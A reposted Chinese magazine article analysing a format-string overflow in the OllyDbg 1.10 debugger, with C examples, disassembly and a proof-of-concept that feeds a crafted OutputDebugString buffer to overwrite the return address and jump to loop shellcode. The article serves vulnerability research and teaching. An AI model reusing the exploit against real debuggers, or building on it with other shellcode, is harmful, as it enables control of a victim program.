OllyDbg Format String 0day分析和利用

简介: 文章作者:gyzy [E.S.T](www.gyzy.org)信息来源:邪恶八进制信息安全团队(www.eviloctal.com)本文已经发表在《黑客防线》2007年6月刊。
文章作者:gyzy [E.S.T](www.gyzy.org)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

本文已经发表在《黑客防线》2007年6月刊。作者及《黑客防线》保留版权,转载请注明原始出处。

适合读者:溢出爱好者
前置知识:汇编语言、缓冲区溢出基本原理
OllyDbg Format String 0day分析和利用
文/图 gyzy[江苏大学信息安全系&EST]
OD作为一款Ring3下的调试器以优异的性能博得了广大密界爱好者的一致肯定,就在最近milw0rm上公布了一个OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前写了很多栈溢出的漏洞,却很少有Format String的漏洞,这次OD给我们提供了一个熟悉Format String问题的机会(只有原版的OD存在此问题,看雪论坛的修改版OllyIce不存在此问题)。
可能读者朋友对格式化串漏洞不太熟悉,格式化串其实也是很严重的漏洞,轻则泄露敏感信息,重则可以导致执行任意代码。这次OD出现的问题就是对格式化串过滤不严间接导致了缓冲区溢出的发生,保存在栈中的返回地址被覆盖。那么,哪些函数会引起格式化串漏洞呢?printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf这些库函数。先来看一个简单的例子:
 #include <stdio.h>
 #include <stdlib.h>

 int main( int argc, char *argv[] )
 {
 if( argc != 2 )
 {
 printf("输入一个字符串/n");
 return 1;
 }
 printf( argv[1] );
 printf( "/n" );
 return 0;
 }
程序很简单,就是打印程序的参数,比如参数为"Hello,world",那么程序就会输出"Hello,world"。假如我们输入的是%d又会怎么样呢,如图1:
http://photo6.yupoo.com/20070719/021458_1443127157.jpg
图1
4198693 是十进制,16进制就是401125。正常的打印一个十进制数值应该是带参数的,比如printf("%d",i)。i就是一个整形变量。这里我们省略了后者,当所有参数压栈完毕调用printf函数的时候,printf并不能检查参数的正确性,只是机械式的从栈中取值作为参数,也就是我们看到的 4198693,这个时候堆栈就被破坏了,栈中的信息就泄露了(比如密码一类的敏感信息的安全这时候就受到了威胁)。这只是一个简单的例子,现实中可能并不存在这样的漏洞,但却揭示了格式化串问题的严重性。假如提供的参数是%n和经过精心构造的话可以导致往任意内存地址写数据,这也就意味着可以使存在漏洞的程序执行我们提交的任意代码。
OD这一次出现问题的函数并不是printf,而是sprintf。尽管OD已经对OutputDebugString输出的字符串进行了长度检查,只接受255个字节,但是由于没有对提供的参数进行检查,所以间接导致了缓冲区的溢出,我简单模拟了出现问题的代码:
 #include <stdio.h>

 void fun()
 {
 char para[10];
 sprintf(para,"%12uAAAAAAAAAAAAAAAAAAAAAAAAA");
 }

 void main()
 {
 fun();
 }
关键在%12u表示显示的无符号整数扩展成12位,不足以空格补足,由于para参数只有10个字节,所以保存在栈中的返回地址会被我们提供的AAAA覆盖,如图2:
http://photo6.yupoo.com/20070719/021459_536435066.jpg
只要我们恶意的调用OutputDebugString函数就可以使OD的EIP被我们提交的数据覆盖,例如OutputDebugString("%4602d 0x90 0x90.....")构造成这样的一个字符串输出,看看OD的反应,如图3:
http://photo6.yupoo.com/20070719/021459_2085937784.jpg
图3
%4602d表示将字符串扩展成4602个字节,呵呵,够长吧?
我们可以用OllyIce来调试原版的OD,原版OD再运行被调试程序(怎么有点像无间道),简单的跟踪以后,最终定位出问题的代码如下,由于栈中0012DA90保存的返回地址被覆盖,0042E258处的RETN指令将导致EIP被控制,如图4
http://photo6.yupoo.com/20070719/021500_1047167484.jpg
图4
在OC中给0012DA8C下硬断,看究竟是什么地方覆盖了0012DA90处的值,最终定位到如下指令将0012DA90处的返回地址给覆盖了:
004A353D |. 8B4D 10 MOV ECX,[ARG.3]
 004A3540 |. 8BD1 MOV EDX,ECX
 004A3542 |. D1E9 SHR ECX,1
 004A3544 |. D1E9 SHR ECX,1
 004A3546 |. FC CLD
 004A3547 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
其实错误原因很明显,OD只对OutputDebugString输出的长度进行了检查,但是却没有对内容进行过滤,就是里面的格式串引发了缓冲区溢出。这个漏洞总给人感觉是鸡肋,没什么利用价值,不过用作一种反调试的手段也算可以,可以让OD进入死循环,以下是我修改过的用作反调试的POC代码, ShellCode就是简单的跳转指令:
 #include <windows.h>
 #include <stdio.h>

 #define FORMAT_STRING "%4602d"
 #pragma comment(linker,"/ENTRY:WinMain")

 char shellcode[] ="/xEB/xFE";

 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
 {
 char* pszEvilBuffer;
 ULONG ulEvilBufSize;
 DWORD dwRetAddr = 0x7FFA4512;

 ulEvilBufSize = sizeof(FORMAT_STRING) + sizeof(dwRetAddr) + sizeof(shellcode);

 pszEvilBuffer = (char*)malloc(ulEvilBufSize);
 memset(pszEvilBuffer,0x90,ulEvilBufSize);

 int i = 0;
 memcpy(pszEvilBuffer+i, FORMAT_STRING, sizeof(FORMAT_STRING)-1);
 i += sizeof(FORMAT_STRING)-1;
 memcpy(pszEvilBuffer+i, &dwRetAddr, sizeof(dwRetAddr));
 i += sizeof(dwRetAddr);
 memcpy(pszEvilBuffer+i, shellcode, sizeof(shellcode)-1);
 //输出调试字符串
 OutputDebugString(pszEvilBuffer);
 free(pszEvilBuffer);
 return 0;
 }
用OD调试一下看看效果,如图5:
http://photo8.yupoo.com/20070719/021500_1827955222.jpg
图5
OD的CPU占用率100%了(我的机子是双核,所以是50%)。有兴趣的读者朋友还可以修改Shellcode,不过长度不能超过255字节。
 
目录
相关文章
|
6月前
|
安全
格式化字符串漏洞(Format String Attack)
格式化字符串漏洞(Format String Attack)
41 0
[转]用DateTime.ToString(string format)输出不同格式
原文:http://blog.sina.com.cn/s/blog_4f3247900100alqj.html DateTime.ToString()函数有四个重载。一般用得多的就是不带参数的那个了。
780 0
用DateTime.ToString(string format)输出不同格式的日期
DateTime.ToString()函数有四个重载。一般用得多的就是不带参数的那个了。殊不知,DateTime.ToString(string format)功能更强大,能输出不同格式的日期。
872 0
|
16天前
|
Java API 索引
Java基础—笔记—String篇
本文介绍了Java中的`String`类、包的管理和API文档的使用。包用于分类管理Java程序,同包下类无需导包,不同包需导入。使用API时,可按类名搜索、查看包、介绍、构造器和方法。方法命名能暗示其功能,注意参数和返回值。`String`创建有两种方式:双引号创建(常量池,共享)和构造器`new`(每次新建对象)。此外,列举了`String`的常用方法,如`length()`、`charAt()`、`equals()`、`substring()`等。
15 0
|
1月前
|
Java
【Java】如果一个集合中类型是String如何使用拉姆达表达式 进行Bigdecimal类型计算?
【Java】如果一个集合中类型是String如何使用拉姆达表达式 进行Bigdecimal类型计算?
25 0
|
1月前
|
Java
Java String split()方法详细教程
Java String split()方法详细教程
23 0
|
1月前
|
安全 Java
Java StringBuffer 和 StringBuilder 类
Java StringBuffer 和 StringBuilder 类
16 0